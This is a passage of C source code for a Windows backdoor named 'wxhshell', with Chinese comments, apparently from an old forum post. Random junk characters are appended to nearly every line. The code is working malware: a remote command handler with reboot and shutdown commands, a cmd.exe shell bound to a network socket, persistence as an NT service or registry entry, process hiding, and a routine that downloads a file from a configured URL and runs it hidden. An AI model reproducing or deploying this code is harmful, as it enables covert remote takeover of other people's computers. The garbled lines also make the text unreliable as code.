    switch(cmd[0]) { W6 y-~  
  'U|Tye i?  
  // 帮助 O&vE 5%x  
  case '?': { gd=gc<zYP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V!XT=Ou?6  
    break; fa:V8xa  
  } ji] H|  
  // 安装 ))xyaYIZkk  
  case 'i': { lij>u  
    if(Install()) l+!eC lM%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5p]Cwj<u  
    else wiE'6CM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DX\|*:,  
    break; tUXly|k  
    } Q.zE}ZS  
  // 卸载 \(g/::|  
  case 'r': { %c`P`~sp  
    if(Uninstall()) 3;t{V$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'G>gNq  
    else #UYrSM@u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i7#PYt  
    break; Q}qw` L1  
    } O% }EpIP_  
  // 显示 wxhshell 所在路径 K|Kc.   
  case 'p': { M0$wTmXM  
    char svExeFile[MAX_PATH]; #eZm)KFQg  
    strcpy(svExeFile,"\n\r"); [i 7^a/e  
      strcat(svExeFile,ExeFile); {%! >0@7  
        send(wsh,svExeFile,strlen(svExeFile),0); K>_~zWnc  
    break;  |tVWmm^m  
    } c1>:|D7w  
  // 重启 J4VyP["m  
  case 'b': { 6upCL:A~r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 90rY:!e  
    if(Boot(REBOOT)) =j&qat  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !8ch&cr)o+  
    else { *ke9/hO1i  
    closesocket(wsh); >x0)  
    ExitThread(0); -]$=.0 l  
    } 4n 9c  
    break; qbZY[Q+F  
    } :3h'Hr  
  // 关机 ]\ DIJ>JZ  
  case 'd': { M>m+VsJV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NBaXfWh  
    if(Boot(SHUTDOWN)) 7sglqf>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ao}J   
    else { )/4xR]  
    closesocket(wsh); C(jUM!m  
    ExitThread(0); +@5@`"Jry  
    } t,4'\nv*  
    break; %'vLkjI.  
    } 898=9`7e  
  // 获取shell 5<=ktA48[  
  case 's': { W%,h{  
    CmdShell(wsh);  L4 )  
    closesocket(wsh); 1nAAs;`'  
    ExitThread(0); 23_\UTM}1  
    break; Dc;zgLLL  
  } 7 8n`VmH~L  
  // 退出 ^PrG5|,s  
  case 'x': { x |0@T?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7!r)[2l  
    CloseIt(wsh); vf-cx\y7  
    break; WN`|5"?$  
    } c!20(( 2|I  
  // 离开 jDKL}x  
  case 'q': { # qPWJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V 'e _gH  
    closesocket(wsh); lAZn0EU  
    WSACleanup(); /GUbc   
    exit(1); s^6"qhTa  
    break; SGK=WLGM8  
        } azT@S=,  
  } R.rxpJ+kU  
  } -!JnyD   
\Ng|bWR>LQ  
  // 提示信息 gPYF2m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =, WW#tD  
} _`LQnRp(  
  } tLc 9-  
rV6SN.  
  return; blHJhB&8  
} #OE]'k Ss  
#\LsM ~,  
// shell模块句柄 rh+2 7"  
int CmdShell(SOCKET sock) Z<M?_<3  
{ jJU9~5i?  
STARTUPINFO si; l$mfsm|{:  
ZeroMemory(&si,sizeof(si)); B!iz=+RNC1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ) HPe}(ypt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y-vLEIX=  
PROCESS_INFORMATION ProcessInfo; L kA_M'G  
char cmdline[]="cmd"; QT[yw6Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cq-UVk"Gl  
  return 0; ujH ^ML  
} G zw $M  
T#:n7$M|?A  
// 自身启动模式 2S#|[wq(  
int StartFromService(void) $u-yw1FT  
{ +,$ SZO]  
typedef struct D1g .Fek5  
{ b,MzHx=im  
  DWORD ExitStatus; ),53(=/hl  
  DWORD PebBaseAddress; D @bnm s  
  DWORD AffinityMask; i *9Bu;  
  DWORD BasePriority; SZ)AO8&  
  ULONG UniqueProcessId; Qe,aIh  
  ULONG InheritedFromUniqueProcessId; 6'YsSde".  
}   PROCESS_BASIC_INFORMATION; NKJ+DD:'  
a ]~Yi.H  
PROCNTQSIP NtQueryInformationProcess; {T2=bK~  
fRT4,;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N-cLp}D}WB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m.0: R  
PW)Gd +y  
  HANDLE             hProcess; y^xEZD1X6-  
  PROCESS_BASIC_INFORMATION pbi; ;kv/(veQ1<  
YKtF)N;m]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IA&NMf;{  
  if(NULL == hInst ) return 0; 3|qT.QR`Z  
`of` uB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z#nPn>,q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .{}=!>U2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7%g8&d  
THcK,`lX@  
  if (!NtQueryInformationProcess) return 0; ? ^l{t4  
/%4wm?(eA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M}c gVMW  
  if(!hProcess) return 0; rz'A#-?'oG  
Rx\.x? &  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \4qw LM?E^  
S.Rqu+  
  CloseHandle(hProcess); B<}0r 4T}  
VGDds  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xQ{n|)i>  
if(hProcess==NULL) return 0; E` O@UW@  
F]L$xU  
HMODULE hMod; J/ ! Mt  
char procName[255]; CR KuN  
unsigned long cbNeeded; #;*0 Pwe`  
O wJZ?j& )  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WhY8#B'?  
)4@La&  
  CloseHandle(hProcess); |4lrVYG^K  
V < ;vy&&  
if(strstr(procName,"services")) return 1; // 以服务启动 H)u<$y!8  
Frxim  
  return 0; // 注册表启动 >^\}"dEvr  
} BEfp3|Stb  
.NOh[68'  
// 主模块 kl&9M!;:n  
int StartWxhshell(LPSTR lpCmdLine) k 6)ThIG  
{ .&R j2d  
  SOCKET wsl; }% m:^*@$9  
BOOL val=TRUE; $&>z`bAS>  
  int port=0; p=-:Z?EW1  
  struct sockaddr_in door; QL{{GQ_dn  
v\;hI5WY  
  if(wscfg.ws_autoins) Install(); h4\j=Np  
265sNaX  
port=atoi(lpCmdLine); #^Io9dA h  
L(Ffa(i  
if(port<=0) port=wscfg.ws_port;  <m7T`5+  
WOgPhJ  
  WSADATA data; 7G^`'oZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c(tX761qz  
E@%X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l[)ZEEP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ED>T2.:{  
  door.sin_family = AF_INET; bOKgR{i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y66V&#`,e0  
  door.sin_port = htons(port); F_ Cp,  
F N)vFQ#J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kq m$a  
closesocket(wsl); 5/m^9@A  
return 1; k&kx%skz  
} k'hJ@ 6eKS  
Gx.iZOOH/  
  if(listen(wsl,2) == INVALID_SOCKET) { 9sR?aW^$,/  
closesocket(wsl); mV58&SZT  
return 1; 9)Jc'd|  
} AzwG_XgM)  
  Wxhshell(wsl); ML|O2e  
  WSACleanup(); [kjmEMF9i  
SW^/\cJ^  
return 0; 5NT?A,r"  
@\_l%/z{  
} GdxMHnn=  
"AAzBWd/  
// 以NT服务方式启动 .gPXW=r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XKTX~:  
{ >>'t7 U##  
DWORD   status = 0; ebuR-9  
  DWORD   specificError = 0xfffffff; Ki"o0u  
:())%Xu3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PN$vBFjm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /61P`1y(J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @7C?]/8#  
  serviceStatus.dwWin32ExitCode     = 0; y].vll8R  
  serviceStatus.dwServiceSpecificExitCode = 0; AhjUFz  
  serviceStatus.dwCheckPoint       = 0; %S2^i3  
  serviceStatus.dwWaitHint       = 0; /%fa_+,|-  
0%9Nf!j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iyRB}[y  
  if (hServiceStatusHandle==0) return; .Y?/J,Ch  
6@2 S*\&  
status = GetLastError(); 2`-yzm  
  if (status!=NO_ERROR) 7Z(F-B +j  
{ 1 >nl ]yO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gx*rxid  
    serviceStatus.dwCheckPoint       = 0; x@@U&.1_A  
    serviceStatus.dwWaitHint       = 0; L;n2,b  
    serviceStatus.dwWin32ExitCode     = status; J:{$\m'  
    serviceStatus.dwServiceSpecificExitCode = specificError; D`t }V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2!Mwui;%  
    return; /Ww_fY  
  } |kUxTe  
d]v4`nc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N<xf=a+j  
  serviceStatus.dwCheckPoint       = 0; o9l =Q  
  serviceStatus.dwWaitHint       = 0; !+E|{Zj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~}c`r4  
} 2(, `9  
E%f;Z7G  
// 处理NT服务事件,比如:启动、停止 | Q Y_ci  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3M nm2*\  
{ k#4%d1O}  
switch(fdwControl) q*<Fy4j  
{ NbD"O8dL~E  
case SERVICE_CONTROL_STOP: .Q,IOCHk  
  serviceStatus.dwWin32ExitCode = 0; "]jGCo>9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =-ky%3:`@  
  serviceStatus.dwCheckPoint   = 0; y11/:|  
  serviceStatus.dwWaitHint     = 0; NW.<v /?=,  
  { cR0RJ$[d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S_z}h  
  } UeG$lMV  
  return; m]bv2S+5y  
case SERVICE_CONTROL_PAUSE: x,s Ma*vd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q/o|uAq  
  break; RaK fYLw  
case SERVICE_CONTROL_CONTINUE: 0L34)W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *cdr,AD?lH  
  break; X(-e-:B4;  
case SERVICE_CONTROL_INTERROGATE: ~zklrBn&  
  break; iY=M67V  
}; +F &,,s"&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O7#ECUH  
} ;;zKHS  
@j%r6N  
// 标准应用程序主函数 \#(cI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f`5e0;zm  
{ Kilq Jg1%C  
73$^y)AvY  
// 获取操作系统版本 UFxQ-GV4  
OsIsNt=GetOsVer(); Ni5~Buf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qll)  
|bQX9|L  
  // 从命令行安装 ."R,j|o6  
  if(strpbrk(lpCmdLine,"iI")) Install(); kL.JrbM"  
_y}]j;e8>{  
  // 下载执行文件 K/Q^8%Z  
if(wscfg.ws_downexe) { kji*7a?y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .*u, !1u  
  WinExec(wscfg.ws_filenam,SW_HIDE); N|c;Qzl  
} 4h>Dpml  
qp*C%U  
if(!OsIsNt) { 6(4FC?Y7  
// 如果时win9x,隐藏进程并且设置为注册表启动   5;+OpB  
HideProc(); ':8yp|A|  
StartWxhshell(lpCmdLine); } h|1H  
} ]KfjZ!Qh  
else Vx@JP93|  
  if(StartFromService()) 6[kp#  
  // 以服务方式启动 n?*Fr sZ  
  StartServiceCtrlDispatcher(DispatchTable); <syMrXk)R(  
else {J2*6_  
  // 普通方式启动 fu3/n@L  
  StartWxhshell(lpCmdLine); @b\/\\{  
!es?GJq`  
return 0; dEU +\NY  
}
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只看该作者 1 发表于: 2006-10-10
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